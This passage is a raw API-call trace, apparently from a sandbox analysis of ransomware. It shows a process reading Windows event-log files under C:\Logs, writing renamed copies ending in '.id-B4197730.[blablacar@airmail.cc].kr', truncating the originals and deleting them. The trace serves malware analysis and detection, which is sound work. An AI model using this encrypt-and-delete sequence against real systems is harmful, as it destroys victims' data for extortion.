(lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.979] lstrlenW (lpString=".1cd") returned 4 [0100.979] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.979] lstrlenW (lpString=".jpg") returned 4 [0100.979] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.979] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0100.980] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0100.980] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.980] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1052672) returned 1 [0100.980] CloseHandle (hObject=0x35c) returned 1 [0100.980] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0100.980] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.980] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.980] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.981] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.981] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0101.081] GetLastError () returned 0x0 [0101.081] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0101.542] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0101.563] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x1010, lpOverlapped=0x0) returned 1 [0101.574] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x1020, lpOverlapped=0x0) returned 1 [0102.624] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.624] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x134, lpOverlapped=0x0) returned 1 [0102.624] SetEndOfFile (hFile=0x384) returned 1 [0102.625] CloseHandle (hObject=0x384) returned 1 [0103.112] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.112] SetEndOfFile (hFile=0x35c) returned 1 [0103.113] CloseHandle (hObject=0x35c) returned 1 [0103.113] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.113] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0103.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.113] lstrlenW (lpString=".doc") returned 4 [0103.113] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.113] lstrlenW (lpString=".docx") returned 5 [0103.113] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.113] lstrlenW (lpString=".pdf") returned 4 [0103.113] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString=".xls") returned 4 [0103.114] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString=".xlsx") returned 5 [0103.114] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.114] lstrlenW (lpString=".ppt") returned 4 [0103.114] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.114] lstrlenW (lpString=".zip") returned 4 [0103.114] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString=".rar") returned 4 [0103.114] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString=".bz2") returned 4 [0103.114] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString=".7z") returned 3 [0103.114] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.114] lstrlenW (lpString=".dbf") returned 4 [0103.114] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.114] lstrlenW (lpString=".1cd") returned 4 [0103.115] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.115] lstrlenW (lpString=".jpg") returned 4 [0103.115] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.115] lstrlenW (lpString=".doc") returned 4 [0103.115] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString=".docx") returned 5 [0103.115] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.115] lstrlenW (lpString=".pdf") returned 4 [0103.115] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString=".xls") returned 4 [0103.115] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString=".xlsx") returned 5 [0103.115] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.115] lstrlenW (lpString=".ppt") returned 4 [0103.115] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.115] lstrlenW (lpString=".zip") returned 4 [0103.115] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString=".rar") returned 4 [0103.115] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString=".bz2") returned 4 [0103.115] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString=".7z") returned 3 [0103.115] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.115] lstrlenW (lpString=".dbf") returned 4 [0103.115] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.116] lstrlenW (lpString=".1cd") returned 4 [0103.116] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0103.116] lstrlenW (lpString=".jpg") returned 4 [0103.116] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.116] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.116] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0103.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.116] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0103.116] CloseHandle (hObject=0x35c) returned 1 [0103.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0103.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.117] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.117] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0103.117] GetLastError () returned 0x0 [0103.117] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.121] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.124] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.124] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x132, lpOverlapped=0x0) returned 1 [0103.124] SetEndOfFile (hFile=0x384) returned 1 [0103.125] CloseHandle (hObject=0x384) returned 1 [0103.131] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.131] SetEndOfFile (hFile=0x35c) returned 1 [0103.133] CloseHandle (hObject=0x35c) returned 1 [0103.133] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.134] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0103.134] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.134] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.134] lstrlenW (lpString=".doc") returned 4 [0103.134] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.134] lstrlenW (lpString=".docx") returned 5 [0103.134] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.134] lstrlenW (lpString=".pdf") returned 4 [0103.134] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.134] lstrlenW (lpString=".xls") returned 4 [0103.134] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.134] lstrlenW (lpString=".xlsx") returned 5 [0103.135] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.135] lstrlenW (lpString=".ppt") returned 4 [0103.135] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.135] lstrlenW (lpString=".zip") returned 4 [0103.135] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString=".rar") returned 4 [0103.135] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString=".bz2") returned 4 [0103.135] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString=".7z") returned 3 [0103.135] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.135] lstrlenW (lpString=".dbf") returned 4 [0103.135] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.135] lstrlenW (lpString=".1cd") returned 4 [0103.135] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.135] lstrlenW (lpString=".jpg") returned 4 [0103.135] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.135] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.136] lstrlenW (lpString=".doc") returned 4 [0103.136] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString=".docx") returned 5 [0103.136] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.136] lstrlenW (lpString=".pdf") returned 4 [0103.136] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString=".xls") returned 4 [0103.136] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString=".xlsx") returned 5 [0103.136] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.136] lstrlenW (lpString=".ppt") returned 4 [0103.136] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.136] lstrlenW (lpString=".zip") returned 4 [0103.136] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString=".rar") returned 4 [0103.136] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString=".bz2") returned 4 [0103.136] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString=".7z") returned 3 [0103.136] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.136] lstrlenW (lpString=".dbf") returned 4 [0103.136] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.136] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.136] lstrlenW (lpString=".1cd") returned 4 [0103.137] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0103.137] lstrlenW (lpString=".jpg") returned 4 [0103.137] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.137] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.137] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0103.137] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.137] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0103.137] CloseHandle (hObject=0x35c) returned 1 [0103.137] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0103.138] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.138] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.138] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.138] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.138] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0103.138] GetLastError () returned 0x0 [0103.138] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.142] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.144] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.144] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x132, lpOverlapped=0x0) returned 1 [0103.144] SetEndOfFile (hFile=0x384) returned 1 [0103.145] CloseHandle (hObject=0x384) returned 1 [0103.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.696] SetEndOfFile (hFile=0x35c) returned 1 [0103.698] CloseHandle (hObject=0x35c) returned 1 [0103.698] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.698] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0103.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.699] lstrlenW (lpString=".doc") returned 4 [0103.699] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString=".docx") returned 5 [0103.699] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.699] lstrlenW (lpString=".pdf") returned 4 [0103.699] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString=".xls") returned 4 [0103.699] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString=".xlsx") returned 5 [0103.699] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.699] lstrlenW (lpString=".ppt") returned 4 [0103.699] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.699] lstrlenW (lpString=".zip") returned 4 [0103.699] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString=".rar") returned 4 [0103.699] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString=".bz2") returned 4 [0103.699] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.699] lstrlenW (lpString=".7z") returned 3 [0103.699] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.699] lstrlenW (lpString=".dbf") returned 4 [0103.700] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.700] lstrlenW (lpString=".1cd") returned 4 [0103.700] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.700] lstrlenW (lpString=".jpg") returned 4 [0103.700] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.700] lstrlenW (lpString=".doc") returned 4 [0103.700] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString=".docx") returned 5 [0103.700] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.700] lstrlenW (lpString=".pdf") returned 4 [0103.700] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString=".xls") returned 4 [0103.700] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString=".xlsx") returned 5 [0103.700] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.700] lstrlenW (lpString=".ppt") returned 4 [0103.700] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.700] lstrlenW (lpString=".zip") returned 4 [0103.700] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.701] lstrlenW (lpString=".rar") returned 4 [0103.701] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.701] lstrlenW (lpString=".bz2") returned 4 [0103.701] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.701] lstrlenW (lpString=".7z") returned 3 [0103.701] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.701] lstrlenW (lpString=".dbf") returned 4 [0103.701] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.701] lstrlenW (lpString=".1cd") returned 4 [0103.701] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0103.701] lstrlenW (lpString=".jpg") returned 4 [0103.701] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.701] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.701] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0103.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.702] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0103.702] CloseHandle (hObject=0x35c) returned 1 [0103.702] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0103.702] GetFileAttributesW 